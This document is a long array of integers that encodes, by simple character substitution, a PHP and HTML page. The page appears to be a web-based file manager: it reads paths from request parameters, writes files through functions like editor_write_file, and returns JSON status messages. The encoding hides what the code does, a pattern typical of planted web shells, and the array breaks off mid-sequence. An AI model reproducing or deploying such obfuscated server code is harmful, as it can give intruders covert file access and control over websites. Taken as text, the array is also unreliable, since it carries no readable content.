126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 11, 13, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 29, 103, 11, 13, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 29, 85, 94, 92, 90, 88, 66, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 29, 85, 94, 92, 90, 88, 66, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 104, 90, 75, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 93, 94, 91, 90, 78, 85, 77, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 110, 83, 80, 83, 84, 76, 83, 25, 72, 81, 82, 80, 82, 92, 91, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 82, 83, 82, 77, 82, 90, 85, 25, 73, 90, 77, 81, 25, 91, 84, 87, 25, 127, 104, 25, 17, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 91, 87, 84, 86, 25, 124, 126, 109, 18, 25, 31, 20, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 6, 25, 82, 72, 72, 94, 77, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 18, 25, 4, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 15, 25, 28, 28, 0, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 25, 25, 6, 25, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 18, 25, 15, 25, 29, 120, 110, 119, 119, 126, 115, 109, 0, 54, 63, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 25, 25, 25, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 18, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 0, 54, 63, 4, 3, 54, 63, 5, 26, 93, 84, 88, 77, 66, 73, 94, 25, 81, 77, 86, 85, 3, 54, 63, 5, 81, 77, 86, 85, 25, 85, 90, 83, 92, 6, 39, 94, 83, 39, 3, 54, 63, 5, 81, 94, 90, 93, 3, 54, 63, 5, 86, 94, 77, 90, 25, 88, 81, 90, 87, 72, 94, 77, 6, 39, 78, 77, 91, 22, 1, 39, 25, 20, 3, 54, 63, 5, 86, 94, 77, 90, 25, 83, 90, 86, 94, 6, 39, 75, 82, 94, 76, 73, 84, 87, 77, 39, 25, 88, 84, 83, 77, 94, 83, 77, 6, 39, 76, 82, 93, 77, 81, 6, 93, 94, 75, 82, 88, 94, 22, 76, 82, 93, 77, 81, 21, 82, 83, 82, 77, 82, 90, 85, 22, 72, 88, 90, 85, 94, 6, 10, 39, 25, 20, 3, 54, 63, 5, 77, 82, 77, 85, 94, 3, 201, 164, 181, 129, 25, 112, 122, 108, 119, 110, 112, 116, 5, 20, 77, 82, 77, 85, 94, 3, 54, 63, 54, 63, 5, 85, 82, 83, 80, 25, 81, 87, 94, 91, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 91, 84, 83, 77, 72, 19, 92, 84, 84, 92, 85, 94, 90, 73, 82, 72, 19, 88, 84, 86, 20, 88, 72, 72, 23, 4, 91, 90, 86, 82, 85, 66, 6, 111, 82, 85, 85, 90, 16, 104, 85, 90, 103, 15, 76, 92, 81, 77, 121, 13, 9, 9, 0, 14, 9, 9, 0, 12, 9, 9, 27, 93, 82, 72, 73, 85, 90, 66, 6, 72, 76, 90, 73, 39, 25, 87, 94, 85, 6, 39, 72, 77, 66, 85, 94, 72, 81, 94, 94, 77, 39, 3, 54, 63, 54, 63, 5, 72, 77, 66, 85, 94, 3, 54, 63, 15, 87, 84, 84, 77, 64, 54, 63, 25, 25, 22, 22, 88, 10, 15, 24, 12, 1, 13, 1, 13, 1, 0, 25, 22, 22, 88, 23, 15, 24, 125, 1, 2, 9, 2, 9, 0, 25, 22, 22, 88, 8, 15, 24, 12, 11, 11, 13, 14, 7, 0, 25, 22, 22, 88, 13, 15, 24, 122, 1, 11, 9, 12, 1, 0, 25, 22, 22, 88, 14, 15, 24, 13, 12, 13, 8, 13, 120, 0, 54, 63, 25, 25, 22, 22, 103, 92, 15, 24, 10, 94, 10, 93, 23, 23, 0, 25, 22, 22, 73, 90, 83, 94, 85, 15, 24, 23, 90, 23, 1, 8, 9, 0, 25, 22, 22, 94, 87, 87, 15, 24, 91, 91, 11, 103, 11, 103, 0, 25, 22, 22, 84, 80, 15, 24, 14, 1, 88, 2, 1, 103, 0, 25, 22, 22, 76, 90, 87, 83, 15, 24, 91, 91, 88, 88, 11, 11, 0, 54, 63, 25, 25, 22, 22, 87, 90, 93, 82, 78, 72, 15, 10, 13, 73, 65, 0, 25, 22, 22, 72, 81, 90, 93, 84, 76, 15, 9, 25, 10, 9, 73, 65, 25, 8, 9, 73, 65, 25, 87, 92, 103, 90, 17, 9, 21, 9, 21, 9, 21, 19, 8, 14, 18, 0, 54, 63, 70, 54, 63, 31, 64, 103, 84, 65, 22, 72, 82, 79, 82, 83, 92, 15, 103, 84, 87, 93, 94, 87, 22, 103, 84, 65, 70, 54, 63, 81, 77, 86, 85, 21, 103, 84, 93, 66, 64, 81, 94, 82, 92, 81, 77, 15, 10, 9, 9, 30, 70, 54, 63, 103, 84, 93, 66, 64, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 39, 111, 82, 85, 85, 90, 25, 104, 85, 90, 103, 39, 21, 25, 72, 66, 72, 77, 94, 86, 22, 78, 82, 21, 25, 22, 90, 73, 73, 85, 94, 22, 72, 66, 72, 77, 94, 86, 21, 25, 104, 94, 92, 84, 94, 25, 110, 114, 21, 25, 119, 84, 103, 84, 77, 84, 21, 25, 39, 113, 94, 85, 75, 94, 77, 82, 88, 90, 25, 115, 94, 78, 94, 39, 21, 25, 122, 87, 82, 90, 85, 21, 25, 39, 115, 84, 77, 84, 25, 104, 90, 83, 72, 39, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 104, 90, 83, 72, 39, 21, 25, 72, 90, 83, 72, 22, 72, 94, 87, 82, 91, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 103, 92, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 13, 91, 10, 91, 11, 0, 25, 70, 54, 63, 19, 76, 87, 90, 73, 73, 94, 87, 64, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 10, 10, 9, 9, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 8, 23, 73, 65, 25, 90, 78, 77, 84, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 9, 25, 10, 11, 73, 65, 0, 25, 70, 54, 63, 54, 63, 19, 81, 94, 90, 93, 94, 87, 64, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 13, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 54, 63, 70, 54, 63, 19, 103, 87, 90, 83, 93, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 23, 73, 65, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 64, 25, 76, 82, 93, 77, 81, 15, 25, 13, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 13, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 10, 9, 73, 65, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 25, 81, 82, 93, 93, 94, 83, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 77, 87, 90, 83, 72, 73, 90, 87, 94, 83, 77, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 25, 82, 86, 92, 64, 25, 76, 82, 93, 77, 81, 15, 25, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 10, 9, 9, 30, 0, 25, 84, 103, 95, 94, 88, 77, 22, 91, 82, 77, 15, 25, 88, 84, 83, 77, 90, 82, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 25, 103, 85, 84, 88, 80, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 81, 10, 64, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 1, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 85, 94, 77, 77, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 19, 8, 73, 65, 70, 54, 63, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 25, 87, 82, 92, 81, 77, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 11, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 64, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 82, 83, 85, 82, 83, 94, 22, 103, 85, 84, 88, 80, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 23, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 85, 82, 83, 94, 22, 81, 94, 82, 92, 81, 77, 15, 10, 19, 8, 94, 86, 0, 54, 63, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 25, 88, 84, 93, 94, 64, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 64, 54, 63, 25, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 9, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 21, 25, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 54, 63, 25, 25, 77, 94, 65, 77, 22, 93, 94, 88, 84, 87, 90, 77, 82, 84, 83, 15, 83, 84, 83, 94, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 94, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 90, 85, 85, 25, 19, 10, 14, 72, 25, 94, 90, 72, 94, 22, 82, 83, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 15, 81, 84, 75, 94, 87, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 14, 70, 54, 63, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 1, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 9, 9, 9, 9, 9, 9, 13, 13, 70, 54, 63, 19, 88, 87, 78, 86, 103, 22, 72, 94, 73, 64, 84, 73, 90, 88, 82, 77, 66, 15, 19, 11, 70, 54, 63, 54, 63, 19, 73, 90, 83, 94, 85, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 70, 54, 63, 54, 63, 19, 77, 84, 84, 85, 103, 90, 87, 64, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 103, 84, 77, 77, 84, 86, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 90, 23, 12, 8, 9, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 64, 54, 63, 25, 25, 90, 73, 73, 94, 90, 87, 90, 83, 88, 94, 15, 83, 84, 83, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 83, 84, 83, 94, 0, 25, 88, 78, 87, 72, 84, 87, 15, 73, 84, 82, 83, 77, 94, 87, 0, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 23, 2, 10, 103, 23, 9, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 9, 25, 11, 73, 65, 25, 10, 13, 73, 65, 25, 24, 9, 9, 9, 9, 9, 9, 13, 14, 21, 25, 82, 83, 72, 94, 77, 25, 9, 25, 10, 73, 65, 25, 9, 25, 24, 91, 91, 91, 91, 91, 91, 14, 14, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 25, 19, 9, 11, 72, 25, 94, 90, 72, 94, 21, 25, 91, 82, 85, 77, 94, 87, 25, 19, 23, 72, 25, 94, 90, 72, 94, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 15, 81, 84, 75, 94, 87, 64, 25, 91, 82, 85, 77, 94, 87, 15, 103, 87, 82, 92, 81, 77, 83, 94, 72, 72, 17, 10, 19, 9, 14, 18, 25, 70, 54, 63, 19, 103, 77, 83, 15, 90, 88, 77, 82, 75, 94, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 10, 73, 65, 18, 25, 70, 54, 63, 19, 103, 77, 83, 19, 72, 94, 88, 84, 83, 93, 90, 87, 66, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 23, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 10, 94, 12, 94, 90, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 11, 9, 9, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 82, 83, 73, 78, 77, 21, 25, 19, 91, 82, 85, 94, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 103, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 91, 10, 93, 23, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 9, 0, 25, 70, 54, 63, 54, 63, 19, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 90, 78, 77, 84, 25, 70, 54, 63, 77, 90, 103, 85, 94, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 85, 90, 73, 72, 94, 15, 72, 94, 73, 90, 87, 90, 77, 94, 0, 25, 103, 84, 87, 93, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 9, 0, 25, 70, 54, 63, 77, 81, 94, 90, 93, 25, 77, 81, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 85, 94, 91, 77, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 13, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 72, 77, 82, 88, 80, 66, 0, 25, 77, 84, 73, 15, 9, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 8, 23, 10, 23, 2, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 0, 25, 70, 54, 63, 77, 103, 84, 93, 66, 25, 77, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 14, 73, 65, 0, 25, 70, 54, 63, 77, 87, 15, 81, 84, 75, 94, 87, 25, 77, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 11, 25, 70, 54, 63, 19, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 64, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 13, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 13, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 83, 90, 86, 94, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 9, 9, 73, 65, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 64, 25, 76, 82, 93, 77, 81, 15, 23, 1, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 23, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 92, 87, 82, 93, 0, 25, 73, 85, 90, 88, 94, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 70, 54, 63, 19, 82, 88, 84, 